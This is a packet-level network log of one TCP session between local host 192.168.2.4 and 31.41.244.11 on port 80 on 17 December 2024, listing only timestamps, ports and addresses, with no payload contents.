Dec 17, 2024 22:06:25.445399046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.445426941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.445437908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.445441008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.445461988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.445487022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.446271896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.446284056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.446470976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.446856022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.446867943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.446913004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.447566986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.447577953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.447613001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.448616982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.448628902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.448654890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.448682070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.449299097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.449853897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.449903011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.450932026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.450942993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.450984955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.452241898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.452255011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.452284098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.452315092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.452378988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.452727079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.452766895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.453463078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.453664064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.453864098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.454926968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.454938889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.454997063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.455800056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.455830097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.455881119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.456634998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.456682920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.456825018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.456882000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.457532883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.457590103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.457842112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.457892895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.458945990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.458959103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.458997965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.459749937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.459762096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.459830046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.460397959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.460410118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.460443974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.461457968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.461509943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.462421894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.462434053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.462444067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.462466002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.462491035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.463505983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.463516951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.463548899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.463574886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.464570045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.464581966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.464637041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.465662003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.465675116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.465717077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.466941118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.466953039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.467003107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.468381882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.468394041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.468414068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.468432903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.468466997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.470941067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.472733974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.889863968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.889885902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.889895916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.889908075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.889950991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.889961958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890013933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890024900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890041113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890048027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.890052080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890060902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890122890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.890135050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890172958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.890176058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890187979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890218973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.890222073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890232086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.890234947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.890269995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.891102076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.891148090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.891164064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.891176939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.891244888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.891418934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.891984940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892000914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892088890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892215014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892235994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892271042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892286062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892291069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892323017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892338991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892339945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892358065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892411947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892781973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892797947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892833948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892846107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892849922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892869949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892877102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892879009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892894030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892919064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892919064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892930031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892945051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.892962933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.892986059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893544912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893559933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893575907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893594027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893598080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893610954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893635035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893639088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893651009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893682957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893683910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893690109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893704891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.893728971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.893748999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894421101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894437075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894475937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894493103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894654036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894670010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894691944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894711018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894726038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894732952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894747972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894764900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894778013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894779921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894802094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894818068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894819021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894835949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.894860029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.894905090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895693064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895708084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895742893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895759106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895771980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895771980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895786047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895796061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895809889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895811081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895822048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895840883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895847082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895860910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.895881891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.895896912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896434069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896485090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896492004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896524906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896534920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896538973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896559000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896573067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896574974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896595955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896612883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896631002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896636963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896646023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.896666050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.896677971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897444963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897459984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897492886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897516012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897660017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897674084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897701025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897712946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897778034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897793055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897821903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897825003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897840023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897854090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897864103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897876978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897876024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897891998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.897912025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.897933960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898756981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898772955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898808002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898808002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898823023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898830891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898849010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898859978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898863077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898874998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898895979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898920059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.898929119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.898964882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899545908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899588108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899593115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899602890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899617910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899636984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899655104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899669886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899689913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899714947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899718046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899733067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899755001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899769068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.899779081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.899797916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900476933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900521040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900605917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900623083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900646925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900671959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900711060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900727034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900753975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900769949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900779963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900785923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900809050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900821924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900834084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900836945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.900861979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.900887012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.901794910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.901810884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.901848078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.901848078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.901882887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.902811050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902827024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902861118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.902868032 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902879953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.902883053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902899027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902909040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.902916908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902946949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.902954102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902970076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.902976036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903001070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903014898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903630972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903646946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903671980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903711081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903713942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903763056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903846025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903884888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903887987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903899908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903929949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903935909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903950930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903960943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903968096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.903985977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.903997898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904021025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904831886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.904880047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.904886961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904895067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.904918909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904932022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904936075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.904951096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.904969931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904988050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.904989004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905004025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905029058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905041933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905047894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905085087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905735970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905780077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905781984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905797005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905833006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905838966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905843019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905858040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905873060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905879021 CET	49793	80	192.168.2.4	31.41.244.11
